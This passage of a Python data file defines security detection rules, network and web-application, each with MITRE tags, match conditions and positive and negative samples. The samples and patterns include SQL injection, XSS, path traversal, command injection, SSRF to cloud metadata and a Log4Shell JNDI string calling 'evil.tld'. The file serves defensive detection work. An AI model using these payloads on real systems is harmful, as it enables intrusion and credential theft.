"fields": {"avg_subdomain_len", "query_count", "time_window_minutes"},
"match_when": {"avg_subdomain_len_gt": 50, "query_count_gt": 100, "time_window_minutes_lt": 30},
"fp": ["DNSSEC and large CDN providers (allowlist parent domain)"],
"playbook": "tpl-data-exfil",
"positive": {"avg_subdomain_len": 65, "query_count": 250, "time_window_minutes": 12, "parent_domain": "evil.tld", "src_host": "wks-001"},
"negative": {"avg_subdomain_len": 18, "query_count": 30, "time_window_minutes": 60, "parent_domain": "google.com", "src_host": "wks-001"},
},
{
"slug": "port-scan-internal",
"name": "Internal Network Port Scan",
"description": "Detects horizontal and vertical port scanning activity originating from inside the network. Often the first sign of an attacker performing reconnaissance after gaining initial foothold.",
"severity": "high",
"mitre": ["t1046"],
"log_source": {"product": "ndr", "service": "flow"},
"fields": {"distinct_ports_per_src", "distinct_dst_per_src", "time_window_minutes"},
"match_when": {"distinct_ports_per_src_gt": 50, "distinct_dst_per_src_gt": 25, "time_window_minutes_lt": 5},
"fp": ["Vulnerability scanners (must be allowlisted)"],
"playbook": "tpl-recon",
"positive": {"distinct_ports_per_src": 200, "distinct_dst_per_src": 50, "time_window_minutes": 4, "src_ip": "10.0.5.7"},
"negative": {"distinct_ports_per_src": 3, "distinct_dst_per_src": 1, "time_window_minutes": 60, "src_ip": "10.0.5.7"},
},
{
"slug": "ssh-failed-from-internet",
"name": "SSH Brute-Force From Internet",
"severity": "high",
"mitre": ["t1110.001"],
"log_source": {"product": "linux", "service": "auth"},
"fields": {"event_type", "outcome", "src_ip_class", "fail_count", "time_window_minutes"},
"match_when": {"event_type": "ssh-reject", "outcome": "FAILURE", "src_ip_class": "internet", "fail_count_gt": 30, "time_window_minutes_lt": 10},
"fp": ["Misconfigured monitoring agent looping (rare)"],
"playbook": "tpl-account-compromise",
"positive": {"event_type": "ssh-reject", "outcome": "FAILURE", "src_ip_class": "internet", "fail_count": 200, "time_window_minutes": 5, "src_ip": "203.0.113.7"},
"negative": {"event_type": "ssh-accept", "outcome": "SUCCESS", "src_ip_class": "internal", "fail_count": 1, "time_window_minutes": 60, "src_ip": "10.0.5.7"},
},
{
"slug": "smb-lateral-movement",
"name": "SMB Lateral Movement (Many ADMIN$ Connections)",
"severity": "high",
"mitre": ["t1021.002"],
"log_source": {"product": "windows", "service": "security"},
"fields": {"event_id", "share_name", "distinct_dst_per_src", "time_window_minutes"},
"match_when": {"event_id": 5145, "share_name_in": ["ADMIN$", "C$"], "distinct_dst_per_src_gt": 5, "time_window_minutes_lt": 10},
"fp": ["Vulnerability scanners (must be allowlisted)"],
"playbook": "tpl-lateral-movement",
"positive": {"event_id": 5145, "share_name": "ADMIN$", "distinct_dst_per_src": 12, "time_window_minutes": 6, "src": "[email protected]"},
"negative": {"event_id": 5145, "share_name": "Public", "distinct_dst_per_src": 1, "time_window_minutes": 60, "src": "[email protected]"},
},
{
"slug": "rdp-from-internet",
"name": "RDP From Internet to Internal Host",
"severity": "critical",
"mitre": ["t1133"],
"log_source": {"product": "ndr", "service": "flow"},
"fields": {"src_ip_class", "dst_port", "dst_ip_class"},
"match_when": {"src_ip_class": "internet", "dst_port": 3389, "dst_ip_class": "internal"},
"fp": ["Approved jump-host (must be allowlisted)"],
"playbook": "tpl-cloud-anomaly",
"positive": {"src_ip_class": "internet", "dst_port": 3389, "dst_ip_class": "internal", "src_ip": "203.0.113.7", "dst_ip": "10.0.5.7"},
"negative": {"src_ip_class": "internet", "dst_port": 443, "dst_ip_class": "internal", "src_ip": "203.0.113.7", "dst_ip": "10.0.5.7"},
},
{
"slug": "tor-traffic",
"name": "Outbound Connection to Known Tor Exit",
"severity": "high",
"mitre": ["t1090.003"],
"log_source": {"product": "ndr", "service": "flow"},
"fields": {"dst_ip_in_tor_list"},
"match_when": {"dst_ip_in_tor_list": True},
"fp": ["Researcher / red team workstation (allowlist src)"],
"playbook": "tpl-c2",
"positive": {"dst_ip_in_tor_list": True, "src_host": "wks-001", "dst_ip": "198.51.100.5"},
"negative": {"dst_ip_in_tor_list": False, "src_host": "wks-001", "dst_ip": "1.1.1.1"},
},
{
"slug": "newly-registered-domain-traffic",
"name": "Outbound HTTP(S) to Newly Registered Domain",
"severity": "medium",
"mitre": ["t1071.001"],
"log_source": {"product": "proxy", "service": "http"},
"fields": {"domain_age_days", "method"},
"match_when": {"domain_age_days_lt": 7, "method_in": ["GET", "POST", "CONNECT"]},
"fp": ["Marketing campaigns and event-specific landing pages"],
"playbook": "tpl-c2",
"positive": {"domain_age_days": 2, "method": "POST", "host": "wks-001", "domain": "evil-newdom.tld"},
"negative": {"domain_age_days": 365, "method": "GET", "host": "wks-001", "domain": "google.com"},
},
{
"slug": "dns-fast-flux",
"name": "DNS Fast-Flux (Many Distinct A-Records / Short TTL)",
"severity": "high",
"mitre": ["t1568.001"],
"log_source": {"product": "dns", "service": "query"},
"fields": {"distinct_a_records", "ttl_seconds", "time_window_hours"},
"match_when": {"distinct_a_records_gt": 30, "ttl_seconds_lt": 60, "time_window_hours_lt": 1},
"fp": ["Large CDNs (allowlist parent zone)"],
"playbook": "tpl-c2",
"positive": {"distinct_a_records": 80, "ttl_seconds": 30, "time_window_hours": 0.5, "domain": "evil.tld"},
"negative": {"distinct_a_records": 4, "ttl_seconds": 300, "time_window_hours": 24, "domain": "company-cdn.tld"},
},
{
"slug": "smb-signing-disabled-auth",
"name": "SMB Authentication Without Signing",
"severity": "medium",
"mitre": ["t1557.001"],
"log_source": {"product": "windows", "service": "security"},
"fields": {"event_id", "smb_signing_enabled"},
"match_when": {"event_id": 5158, "smb_signing_enabled": False},
"fp": ["Legacy hosts (host_role=legacy tag) pending decommission"],
"playbook": "tpl-credential-theft",
"positive": {"event_id": 5158, "smb_signing_enabled": False, "src_ip": "10.0.5.7", "dst_ip": "10.0.5.10"},
"negative": {"event_id": 5158, "smb_signing_enabled": True, "src_ip": "10.0.5.7", "dst_ip": "10.0.5.10"},
},
{
"slug": "dhcp-rogue-server",
"name": "Rogue DHCP Server Detected on LAN",
"severity": "high",
"mitre": ["t1557"],
"log_source": {"product": "ndr", "service": "dhcp"},
"fields": {"event_type", "src_mac_in_allowed_dhcp"},
"match_when": {"event_type": "DHCP_OFFER", "src_mac_in_allowed_dhcp": False},
"fp": ["Approved network changes / new server bring-up (must be ticketed)"],
"playbook": "tpl-credential-theft",
"positive": {"event_type": "DHCP_OFFER", "src_mac_in_allowed_dhcp": False, "src_mac": "aa:bb:cc:dd:ee:ff"},
"negative": {"event_type": "DHCP_OFFER", "src_mac_in_allowed_dhcp": True, "src_mac": "00:11:22:33:44:55"},
},
{
"slug": "icmp-tunnel",
"name": "ICMP Tunneling Pattern (Large Payloads)",
"severity": "high",
"mitre": ["t1095"],
"log_source": {"product": "ndr", "service": "flow"},
"fields": {"protocol", "avg_payload_bytes", "packet_count", "time_window_minutes"},
"match_when": {"protocol": "ICMP", "avg_payload_bytes_gt": 512, "packet_count_gt": 500, "time_window_minutes_lt": 30},
"fp": ["Network monitoring with large MTU echo (rare; allowlist)"],
"playbook": "tpl-c2",
"positive": {"protocol": "ICMP", "avg_payload_bytes": 1200, "packet_count": 2000, "time_window_minutes": 12, "src_host": "wks-001"},
"negative": {"protocol": "ICMP", "avg_payload_bytes": 32, "packet_count": 10, "time_window_minutes": 60, "src_host": "wks-001"},
},
{
"slug": "tls-self-signed-cert-conn",
"name": "Outbound TLS to Server with Self-Signed Cert (Non-Allowed)",
"severity": "medium",
"mitre": ["t1573.002"],
"log_source": {"product": "ndr", "service": "tls"},
"fields": {"tls_cert_self_signed", "dst_in_allowlist"},
"match_when": {"tls_cert_self_signed": True, "dst_in_allowlist": False},
"fp": ["Internal services with self-signed certs by design (allowlist)"],
"playbook": "tpl-c2",
"positive": {"tls_cert_self_signed": True, "dst_in_allowlist": False, "dst_ip": "203.0.113.7", "src_host": "wks-001"},
"negative": {"tls_cert_self_signed": True, "dst_in_allowlist": True, "dst_ip": "10.0.5.7", "src_host": "wks-001"},
},
{
"slug": "tls-ja3-anomaly",
"name": "TLS JA3 Hash in Threat-Intel Match",
"severity": "high",
"mitre": ["t1071.001"],
"log_source": {"product": "ndr", "service": "tls"},
"fields": {"ja3_hash_in_threat_intel"},
"match_when": {"ja3_hash_in_threat_intel": True},
"fp": ["TI false-positives - retire JA3 hash via tuning workflow"],
"playbook": "tpl-c2",
"positive": {"ja3_hash_in_threat_intel": True, "ja3_hash": "abc123badjA3", "src_host": "wks-001"},
"negative": {"ja3_hash_in_threat_intel": False, "ja3_hash": "good-jA3", "src_host": "wks-001"},
},
{
"slug": "egress-to-rare-asn",
"name": "Outbound Traffic to Rare/Suspicious ASN",
"severity": "medium",
"mitre": ["t1071.001"],
"log_source": {"product": "ndr", "service": "flow"},
"fields": {"dst_asn_seen_count", "time_window_days"},
"match_when": {"dst_asn_seen_count_lt": 5, "time_window_days_gt": 30},
"fp": ["First-time use of legitimate hosting providers (must investigate)"],
"playbook": "tpl-c2",
"positive": {"dst_asn_seen_count": 1, "time_window_days": 90, "dst_asn": "AS999999", "src_host": "wks-001"},
"negative": {"dst_asn_seen_count": 5000, "time_window_days": 90, "dst_asn": "AS15169", "src_host": "wks-001"},
},
{
"slug": "smb-null-session",
"name": "SMB Null Session Attempt",
"severity": "medium",
"mitre": ["t1135"],
"log_source": {"product": "windows", "service": "security"},
"fields": {"event_id", "logon_type", "user", "auth_package"},
"match_when": {"event_id": 4624, "logon_type": 3, "user": "ANONYMOUS LOGON"},
"fp": ["Legacy applications relying on null sessions (decommission ticketed)"],
"playbook": "tpl-recon",
"positive": {"event_id": 4624, "logon_type": 3, "user": "ANONYMOUS LOGON", "auth_package": "NTLM", "src_ip": "203.0.113.7"},
"negative": {"event_id": 4624, "logon_type": 3, "user": "[email protected]", "auth_package": "Kerberos", "src_ip": "10.0.5.7"},
},
{
"slug": "ldap-bind-anomaly",
"name": "LDAP Bind from Workstation to Domain Controller (Excessive)",
"severity": "medium",
"mitre": ["t1087.002"],
"log_source": {"product": "windows", "service": "directory-service"},
"fields": {"event_id", "ldap_query_count_per_src", "time_window_minutes"},
"match_when": {"event_id": 1644, "ldap_query_count_per_src_gt": 200, "time_window_minutes_lt": 5},
"fp": ["Legitimate identity-management tooling (allowlist principal)"],
"playbook": "tpl-recon",
"positive": {"event_id": 1644, "ldap_query_count_per_src": 500, "time_window_minutes": 3, "src_host": "wks-001"},
"negative": {"event_id": 1644, "ldap_query_count_per_src": 8, "time_window_minutes": 60, "src_host": "wks-001"},
},
{
"slug": "snmp-public-community-internet",
"name": "SNMP Public Community String Probe From Internet",
"severity": "medium",
"mitre": ["t1190"],
"log_source": {"product": "ndr", "service": "flow"},
"fields": {"protocol", "src_port", "dst_port", "src_ip_class", "snmp_community"},
"match_when": {"protocol": "UDP", "dst_port": 161, "src_ip_class": "internet", "snmp_community_in": ["public", "private"]},
"fp": ["Misconfigured legacy device (decommission ticketed)"],
"playbook": "tpl-recon",
"positive": {"protocol": "UDP", "dst_port": 161, "src_ip_class": "internet", "snmp_community": "public", "src_ip": "203.0.113.7"},
"negative": {"protocol": "UDP", "dst_port": 161, "src_ip_class": "internal", "snmp_community": "secured-string", "src_ip": "10.0.5.7"},
},
{
"slug": "ddos-syn-flood",
"name": "SYN Flood Pattern Against Public Endpoint",
"severity": "high",
"mitre": ["t1498.001"],
"log_source": {"product": "ndr", "service": "flow"},
"fields": {"tcp_flag", "syn_count_per_dst", "time_window_minutes"},
"match_when": {"tcp_flag": "SYN", "syn_count_per_dst_gt": 5000, "time_window_minutes_lt": 1},
"fp": ["Legitimate burst (e.g., product launch)"],
"playbook": "tpl-ddos",
"positive": {"tcp_flag": "SYN", "syn_count_per_dst": 60000, "time_window_minutes": 0.5, "dst_ip": "203.0.113.10"},
"negative": {"tcp_flag": "SYN", "syn_count_per_dst": 30, "time_window_minutes": 60, "dst_ip": "203.0.113.10"},
},
{
"slug": "egress-to-blocklisted-ip",
"name": "Outbound Connection to Threat-Intel-Blocked IP",
"severity": "high",
"mitre": ["t1071.001"],
"log_source": {"product": "ndr", "service": "flow"},
"fields": {"dst_in_blocklist"},
"match_when": {"dst_in_blocklist": True},
"fp": ["TI false-positives (retire IP via tuning)"],
"playbook": "tpl-c2",
"positive": {"dst_in_blocklist": True, "dst_ip": "203.0.113.7", "src_host": "wks-001"},
"negative": {"dst_in_blocklist": False, "dst_ip": "1.1.1.1", "src_host": "wks-001"},
},
{
"slug": "internal-host-spamming-mail",
"name": "Internal Host Spamming SMTP",
"severity": "high",
"mitre": ["t1566"],
"log_source": {"product": "ndr", "service": "flow"},
"fields": {"protocol", "dst_port", "smtp_count_per_src", "time_window_minutes"},
"match_when": {"protocol": "TCP", "dst_port_in": [25, 465, 587], "smtp_count_per_src_gt": 200, "time_window_minutes_lt": 10},
"fp": ["Approved bulk mailers (allowlisted source)"],
"playbook": "tpl-malware-execution",
"positive": {"protocol": "TCP", "dst_port": 25, "smtp_count_per_src": 800, "time_window_minutes": 5, "src_host": "wks-001"},
"negative": {"protocol": "TCP", "dst_port": 25, "smtp_count_per_src": 8, "time_window_minutes": 60, "src_host": "marketing-mailer"},
},
{
"slug": "rdp-screen-takeover",
"name": "RDP Logon Session With Concurrent Active Console Session",
"severity": "medium",
"mitre": ["t1021.001"],
"log_source": {"product": "windows", "service": "security"},
"fields": {"event_id", "logon_type", "concurrent_console_session"},
"match_when": {"event_id": 4624, "logon_type": 10, "concurrent_console_session": True},
"fp": ["IT helpdesk shadow sessions (must be ticketed)"],
"playbook": "tpl-account-anomaly",
"positive": {"event_id": 4624, "logon_type": 10, "concurrent_console_session": True, "host": "wks-001"},
"negative": {"event_id": 4624, "logon_type": 10, "concurrent_console_session": False, "host": "wks-001"},
},
{
"slug": "ipv6-tunnel-outbound",
"name": "Outbound IPv6 Teredo / 6to4 Tunneling Traffic",
"severity": "medium",
"mitre": ["t1572"],
"log_source": {"product": "ndr", "service": "flow"},
"fields": {"protocol", "dst_port"},
"match_when": {"protocol": "UDP", "dst_port_in": [3544, 41]},
"fp": ["Legacy IPv6 transition mechanisms (allowlist host)"],
"playbook": "tpl-c2",
"positive": {"protocol": "UDP", "dst_port": 3544, "src_host": "wks-001"},
"negative": {"protocol": "UDP", "dst_port": 53, "src_host": "wks-001"},
},
{
"slug": "dns-over-https-rare",
"name": "DNS-over-HTTPS to Non-Approved Resolver",
"severity": "medium",
"mitre": ["t1071.004"],
"log_source": {"product": "proxy", "service": "http"},
"fields": {"dst_in_doh_allowlist", "method", "url_path"},
"match_when": {"dst_in_doh_allowlist": False, "method_in": ["POST", "GET"], "url_path_endswith": "/dns-query"},
"fp": ["Approved DoH providers (allowlist by hostname)"],
"playbook": "tpl-c2",
"positive": {"dst_in_doh_allowlist": False, "method": "POST", "url_path": "/dns-query", "dst_host": "evil.tld", "src_host": "wks-001"},
"negative": {"dst_in_doh_allowlist": True, "method": "POST", "url_path": "/dns-query", "dst_host": "1.1.1.1", "src_host": "wks-001"},
},
{
"slug": "ftp-outbound-anomaly",
"name": "Outbound FTP Bulk Transfer From Non-Allowlisted Host",
"severity": "medium",
"mitre": ["t1048.003"],
"log_source": {"product": "ndr", "service": "flow"},
"fields": {"protocol", "dst_port", "bytes_out", "src_in_allowlist"},
"match_when": {"protocol": "TCP", "dst_port_in": [21, 990], "bytes_out_gt": 50_000_000, "src_in_allowlist": False},
"fp": ["Approved B2B file-exchange hosts (allowlist)"],
"playbook": "tpl-data-exfil",
"positive": {"protocol": "TCP", "dst_port": 21, "bytes_out": 200_000_000, "src_in_allowlist": False, "src_host": "wks-001"},
"negative": {"protocol": "TCP", "dst_port": 21, "bytes_out": 50_000, "src_in_allowlist": True, "src_host": "filexfer-01"},
},
{
"slug": "outbound-clear-text-protocol",
"name": "Outbound Clear-Text Protocol Carrying Credentials",
"severity": "medium",
"mitre": ["t1040"],
"log_source": {"product": "ndr", "service": "flow"},
"fields": {"protocol", "dst_port"},
"match_when": {"protocol": "TCP", "dst_port_in": [23, 21, 110, 143]},
"fp": ["Legacy systems pending decommission (host_role=legacy tag)"],
"playbook": "tpl-account-compromise",
"positive": {"protocol": "TCP", "dst_port": 23, "dst_ip": "203.0.113.7", "src_host": "wks-001"},
"negative": {"protocol": "TCP", "dst_port": 22, "dst_ip": "203.0.113.7", "src_host": "wks-001"},
},
{
"slug": "ntp-amplification",
"name": "NTP Amplification Reflector Attack (Inbound monlist)",
"severity": "high",
"mitre": ["t1498.002"],
"log_source": {"product": "ndr", "service": "flow"},
"fields": {"protocol", "src_port", "dst_port", "ntp_command", "src_ip_class"},
"match_when": {"protocol": "UDP", "src_port": 123, "dst_port": 123, "ntp_command": "monlist", "src_ip_class": "internet"},
"fp": ["Legacy NTP misconfiguration (must be patched)"],
"playbook": "tpl-ddos",
"positive": {"protocol": "UDP", "src_port": 123, "dst_port": 123, "ntp_command": "monlist", "src_ip_class": "internet", "src_ip": "203.0.113.7"},
"negative": {"protocol": "UDP", "src_port": 123, "dst_port": 123, "ntp_command": "version", "src_ip_class": "internal", "src_ip": "10.0.5.7"},
},
{
"slug": "p2p-protocol-on-corp-net",
"name": "Peer-to-Peer Protocol on Corporate Network",
"severity": "low",
"mitre": ["t1071"],
"log_source": {"product": "ndr", "service": "flow"},
"fields": {"protocol_app"},
"match_when": {"protocol_app_in": ["bittorrent", "edonkey", "gnutella"]},
"fp": ["Engineering download of OSS images via torrent (allowlist hosts)"],
"playbook": "tpl-account-anomaly",
"positive": {"protocol_app": "bittorrent", "src_host": "wks-001"},
"negative": {"protocol_app": "https", "src_host": "wks-001"},
},
{
"slug": "kerberos-encryption-downgrade",
"name": "Kerberos Encryption Downgrade to RC4",
"severity": "medium",
"mitre": ["t1558.003"],
"log_source": {"product": "windows", "service": "security"},
"fields": {"event_id", "ticket_encryption"},
"match_when": {"event_id": 4768, "ticket_encryption_in": ["RC4-HMAC", "0x17"]},
"fp": ["Legacy applications requiring RC4 (host_role=legacy tag)"],
"playbook": "tpl-credential-theft",
"positive": {"event_id": 4768, "ticket_encryption": "RC4-HMAC", "user": "[email protected]"},
"negative": {"event_id": 4768, "ticket_encryption": "AES256-CTS-HMAC-SHA1-96", "user": "[email protected]"},
},
{
"slug": "wmi-remote-execution",
"name": "WMI Remote Process Creation From Workstation",
"severity": "high",
"mitre": ["t1047", "t1021.006"],
"log_source": {"product": "windows", "service": "security"},
"fields": {"event_id", "operation_type", "src_role"},
"match_when": {"event_id": 4688, "process_command_line_contains_any": ["wmic /node:", "Invoke-WmiMethod -ComputerName"], "src_role": "workstation"},
"fp": ["Approved admin scripting (allowlist users)"],
"playbook": "tpl-lateral-movement",
"positive": {"event_id": 4688, "process_command_line": "wmic /node:srv01 process call create cmd.exe", "src_role": "workstation", "src_host": "wks-001"},
"negative": {"event_id": 4688, "process_command_line": "wmic process list", "src_role": "server", "src_host": "srv-01"},
},
]
# =============================================================================
# APPLICATION (30)
# =============================================================================
APPLICATION: list[dict] = [
{
"slug": "sql-injection-attempt",
"name": "SQL Injection Attempt in HTTP Query",
"description": "Detects HTTP requests containing common SQL injection payload patterns in query strings or POST bodies. Strong indicator of automated probing or active exploitation against web applications.",
"severity": "high",
"mitre": ["t1190"],
"log_source": {"product": "waf", "service": "http"},
"fields": {"request_uri", "request_body"},
"match_when": {"request_uri_pattern_match_any": ["UNION SELECT", "OR '1'='1", "; DROP TABLE", "1=1--", "sleep\\(", "benchmark\\("]},
"fp": ["Security-research / pen-test traffic (allowlist src)"],
"playbook": "tpl-webattack",
"positive": {"request_uri": "/products?id=1' UNION SELECT username,password FROM users--", "host": "store.corp.com"},
"negative": {"request_uri": "/products?id=42", "host": "store.corp.com"},
},
{
"slug": "xss-attempt",
"name": "Cross-Site Scripting Attempt",
"severity": "high",
"mitre": ["t1190"],
"log_source": {"product": "waf", "service": "http"},
"fields": {"request_uri", "request_body"},
"match_when": {"request_uri_pattern_match_any": ["<script>", "javascript:", "onerror=", "<svg/onload=", "document.cookie"]},
"fp": ["Encoded HTML in legitimate CMS posts (encode-on-output)"],
"playbook": "tpl-webattack",
"positive": {"request_uri": "/search?q=<script>alert(document.cookie)</script>", "host": "store.corp.com"},
"negative": {"request_uri": "/search?q=hello", "host": "store.corp.com"},
},
{
"slug": "path-traversal",
"name": "Path Traversal Attempt in HTTP Request",
"severity": "high",
"mitre": ["t1083"],
"log_source": {"product": "waf", "service": "http"},
"fields": {"request_uri"},
"match_when": {"request_uri_pattern_match_any": ["\\.\\./", "\\.\\.\\\\", "%2e%2e%2f", "%2e%2e/", "\\.\\.%2f"]},
"fp": ["URL-encoded characters in legitimate parameters (rare)"],
"playbook": "tpl-webattack",
"positive": {"request_uri": "/files?name=../../../../etc/passwd", "host": "app.corp.com"},
"negative": {"request_uri": "/files?name=invoice-2026.pdf", "host": "app.corp.com"},
},
{
"slug": "ssrf-attempt",
"name": "SSRF Attempt to Cloud Metadata Endpoint",
"severity": "critical",
"mitre": ["t1190", "t1212"],
"log_source": {"product": "waf", "service": "http"},
"fields": {"request_uri", "request_body"},
"match_when": {"request_uri_pattern_match_any": ["169\\.254\\.169\\.254", "metadata\\.google\\.internal", "metadata\\.azure\\.com", "127\\.0\\.0\\.1:80"]},
"fp": ["Allowlisted internal metadata-style apps (rare)"],
"playbook": "tpl-webattack",
"positive": {"request_uri": "/proxy?url=http://169.254.169.254/latest/meta-data/", "host": "app.corp.com"},
"negative": {"request_uri": "/proxy?url=http://example.com/", "host": "app.corp.com"},
},
{
"slug": "log4shell",
"name": "Log4Shell JNDI Pattern in HTTP Header",
"severity": "critical",
"mitre": ["t1190"],
"log_source": {"product": "waf", "service": "http"},
"fields": {"header_value"},
"match_when": {"header_value_pattern_match_any": ["\\$\\{jndi:ldap:", "\\$\\{jndi:dns:", "\\$\\{jndi:rmi:"]},
"fp": ["Internal canary strings used for log4j detection (allowlist src)"],
"playbook": "tpl-webattack",
"positive": {"header_value": "${jndi:ldap://evil.tld/x}", "host": "app.corp.com"},
"negative": {"header_value": "Mozilla/5.0", "host": "app.corp.com"},
},
{
"slug": "webshell-upload",
"name": "Webshell File Upload Pattern",
"severity": "critical",
"mitre": ["t1505.003"],
"log_source": {"product": "waf", "service": "http"},
"fields": {"method", "request_uri", "file_extension"},
"match_when": {"method_in": ["POST", "PUT"], "file_extension_in": [".jsp", ".php", ".asp", ".aspx"], "request_uri_contains_any": ["/upload", "/wp-content/", "/cgi-bin/"]},
"fp": ["CMS file uploads with sandboxed extensions (allowlist app role)"],
"playbook": "tpl-webshell",
"positive": {"method": "POST", "request_uri": "/wp-content/uploads/cmd.php", "file_extension": ".php", "host": "blog.corp.com"},
"negative": {"method": "POST", "request_uri": "/wp-content/uploads/banner.png", "file_extension": ".png", "host": "blog.corp.com"},
},
{
"slug": "command-injection",
"name": "OS Command Injection in HTTP Parameter",
"severity": "critical",
"mitre": ["t1059"],
"log_source": {"product": "waf", "service": "http"},
"fields": {"request_uri", "request_body"},
"match_when": {"request_uri_pattern_match_any": [";\\s?cat /etc/passwd", "\\| nc ", "&& curl ", "`id`", "\\$\\(whoami\\)"]},
"fp": ["Allowlisted security tooling pen-tests (src allowlist)"],
"playbook": "tpl-webattack",
"positive": {"request_uri": "/ping?host=10.0.0.5;cat /etc/passwd", "host": "app.corp.com"},
"negative": {"request_uri": "/ping?host=10.0.0.5", "host": "app.corp.com"},
},
{
"slug": "rate-limit-burst",
"name": "Rate Limit Burst on Authentication Endpoint",
"severity": "medium",
"mitre": ["t1110"],
"log_source": {"product": "waf", "service": "http"},
"fields": {"request_uri", "method", "request_count_per_src", "time_window_minutes"},
"match_when": {"request_uri_endswith": "/login", "method": "POST", "request_count_per_src_gt": 200, "time_window_minutes_lt": 5},
"fp": ["Load testing against staging (src allowlist)"],
"playbook": "tpl-account-compromise",
"positive": {"request_uri": "/login", "method": "POST", "request_count_per_src": 600, "time_window_minutes": 3, "src_ip": "203.0.113.7"},
"negative": {"request_uri": "/login", "method": "POST", "request_count_per_src": 5, "time_window_minutes": 30, "src_ip": "10.0.5.7"},
},
{
"slug": "graphql-introspection",
"name": "GraphQL Introspection Query in Production",
"severity": "low",
"mitre": ["t1592"],
"log_source": {"product": "waf", "service": "http"},
"fields": {"request_uri", "request_body"},
"match_when": {"request_uri_endswith": "/graphql", "request_body_contains_any": ["__schema", "__typename"]},
"fp": ["Permitted public APIs (allowlist host)"],
"playbook": "tpl-recon",
"positive": {"request_uri": "/graphql", "request_body": "{__schema{queryType{name}}}", "host": "api.corp.com"},
"negative": {"request_uri": "/graphql", "request_body": "{me{id}}", "host": "api.corp.com"},
},
{
"slug": "api-key-leak-in-request",
"name": "Hard-Coded API Key Pattern Leaked in HTTP Request",
"severity": "critical",
"mitre": ["t1552.001"],
"log_source": {"product": "waf", "service": "http"},
"fields": {"request_body"},
"match_when": {"request_body_pattern_match_any": ["AKIA[0-9A-Z]{16}", "ghp_[A-Za-z0-9]{36}", "AIza[0-9A-Za-z\\-_]{35}", "xox[baprs]-"]},
"fp": ["Allowlisted developer test traffic (src allowlist)"],
"playbook": "tpl-secret-leak",
"positive": {"request_body": "{\"key\":\"AKIAIOSFODNN7EXAMPLE\"}", "host": "internal.corp.com"},
"negative": {"request_body": "{\"username\":\"alice\"}", "host": "internal.corp.com"},
},
{
"slug": "user-agent-known-tool",
"name": "Known-Bad Scanner User-Agent",
"severity": "low",
"mitre": ["t1595.002"],
"log_source": {"product": "waf", "service": "http"},
"fields": {"user_agent"},
"match_when": {"user_agent_contains_any": ["sqlmap", "nikto", "wpscan", "fuzzfaster", "ffuf"]},
"fp": ["Authorized internal pen-tests (src allowlist)"],
"playbook": "tpl-recon",
"positive": {"user_agent": "sqlmap/1.6.2", "host": "app.corp.com"},
"negative": {"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "host": "app.corp.com"},
},
{
"slug": "jwt-none-alg",
"name": "JWT With alg=none in Authorization Header",
"severity": "critical",
"mitre": ["t1078"],
"log_source": {"product": "waf", "service": "http"},
"fields": {"authorization_header"},
"match_when": {"authorization_header_jwt_alg": "none"},
"fp": ["Internal-only debug paths (must require staging-only path)"],
"playbook": "tpl-account-compromise",
"positive": {"authorization_header": "Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiJ9.", "authorization_header_jwt_alg": "none", "host": "api.corp.com"},
"negative": {"authorization_header": "Bearer signed.jwt.value", "authorization_header_jwt_alg": "RS256", "host": "api.corp.com"},
},
{
"slug": "open-redirect",
"name": "Open Redirect Pattern in URL Parameter",
"severity": "medium",
"mitre": ["t1204.001"],
"log_source": {"product": "waf", "service": "http"},
"fields": {"request_uri"},
"match_when": {"request_uri_contains_any": ["?next=http", "?redirect=http", "?url=http"]},
"fp": ["Approved redirect-after-login flows (allowlist destination)"],
"playbook": "tpl-webattack",
"positive": {"request_uri": "/login?next=http://evil.tld/phish", "host": "app.corp.com"},
"negative": {"request_uri": "/login?next=/dashboard", "host": "app.corp.com"},
},
{
"slug": "dependency-confusion-fetch",
"name": "Build Pipeline Fetched Public Package With Internal Name",
"severity": "high",
"mitre": ["t1195.002"],
"log_source": {"product": "build", "service": "package"},
"fields": {"package_name_in_internal_namespace", "package_source"},
"match_when": {"package_name_in_internal_namespace": True, "package_source_in": ["public-npm", "public-pypi", "public-rubygems"]},
"fp": ["Approved scoped public packages (allowlist names)"],
"playbook": "tpl-supply-chain",
"positive": {"package_name_in_internal_namespace": True, "package_source": "public-npm", "package_name": "@corp-internal/util"},
"negative": {"package_name_in_internal_namespace": True, "package_source": "internal-registry", "package_name": "@corp-internal/util"},
},
{
"slug": "ci-secret-printed-to-log",
"name": "Secret-Pattern Match in CI Job Log",
"severity": "high",
"mitre": ["t1552.001"],
"log_source": {"product": "ci", "service": "logs"},
"fields": {"log_line"},
"match_when": {"log_line_pattern_match_any": ["AKIA[0-9A-Z]{16}", "ghp_[A-Za-z0-9]{36}", "-----BEGIN PRIVATE KEY-----"]},
"fp": ["Test fixtures with synthetic-looking secrets (must be tagged)"],
"playbook": "tpl-secret-leak",
"positive": {"log_line": "AWS_ACCESS_KEY=AKIAIOSFODNN7EXAMPLE", "job": "deploy-prod", "actor": "[email protected]"},
"negative": {"log_line": "Build complete in 42s", "job": "deploy-prod", "actor": "[email protected]"},
},
{
"slug": "github-protected-branch-bypass",
"name": "Push to Protected Branch by Non-Admin",
"severity": "high",
"mitre": ["t1195.002"],
"log_source": {"product": "github", "service": "audit"},
"fields": {"action", "branch_protection_rule_id_present", "actor_role"},
"match_when": {"action": "git.push", "ref_in_protected_branches": True, "actor_role_not_in": ["admin", "release"]},
"fp": ["Emergency hotfix workflow (must reference change ticket)"],
"playbook": "tpl-supply-chain",
"positive": {"action": "git.push", "ref": "refs/heads/main", "ref_in_protected_branches": True, "actor_role": "developer", "actor": "[email protected]"},
"negative": {"action": "git.push", "ref": "refs/heads/feature-x", "ref_in_protected_branches": False, "actor_role": "developer", "actor": "[email protected]"},
},
{
"slug": "github-public-repo-flip",
"name": "Internal Repository Made Public",
"severity": "critical",
"mitre": ["t1530"],
"log_source": {"product": "github", "service": "audit"},
# `repo.visibility_change` is not in GitHub's audit vocabulary: a
# visibility change is logged as `repo.access`, and the entry carries
# `public_repo` (the new state) plus `previous_visibility` — not a
# `visibility` string (issue #1545).
"fields": {"action", "public_repo"},
"match_when": {"action": "repo.access", "public_repo": True},
"fp": ["OSS publication (must reference release ticket)"],
"playbook": "tpl-data-exposure",
"positive": {
"action": "repo.access",
"public_repo": True,
"previous_visibility": "private",
"repo": "example-org/internal-tooling",
"actor": "[email protected]",
},
"negative": {
"action": "repo.access",
"public_repo": False,
"previous_visibility": "public",
"repo": "example-org/internal-tooling",
"actor": "[email protected]",
},
},
{
"slug": "container-image-pulled-untrusted-registry",
